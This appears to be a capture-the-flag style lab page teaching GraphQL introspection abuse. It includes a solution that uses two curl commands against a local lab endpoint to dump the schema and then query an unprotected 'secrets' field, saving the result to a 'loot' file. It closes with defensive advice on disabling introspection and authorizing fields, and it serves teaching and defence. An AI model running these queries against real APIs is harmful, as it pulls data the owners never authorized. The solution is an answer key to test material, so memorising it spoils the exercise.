Leak the hidden field with introspection
The GraphQL API at /graphql has introspection enabled. Use it to discover the schema, find the sensitive secrets field, query it, and capture the flag it returns — saving it under your home.
How it works: the terminal below is a real Linux machine running in your browser. Click it and
type. Tasks tick themselves off as you complete them; questions are answered in the box under each task.
Press Reset any time for a fresh machine. Your password on this machine (for
sudo) is student.
Solution explanation
Introspection handed you the full schema, including a secrets field nothing linked to — and with no per-field authorization, asking for it returned the flag. Disable introspection in production, authorize every field, and cap query depth and cost.
Show solution
cd /home/student
curl -s -H 'Content-Type: application/json' -d '{"query":"{ __schema { types { name fields { name } } } }"}' http://127.0.0.1:8080/graphql
curl -s -H 'Content-Type: application/json' -d '{"query":"{ secrets }"}' http://127.0.0.1:8080/graphql | tee loot.txt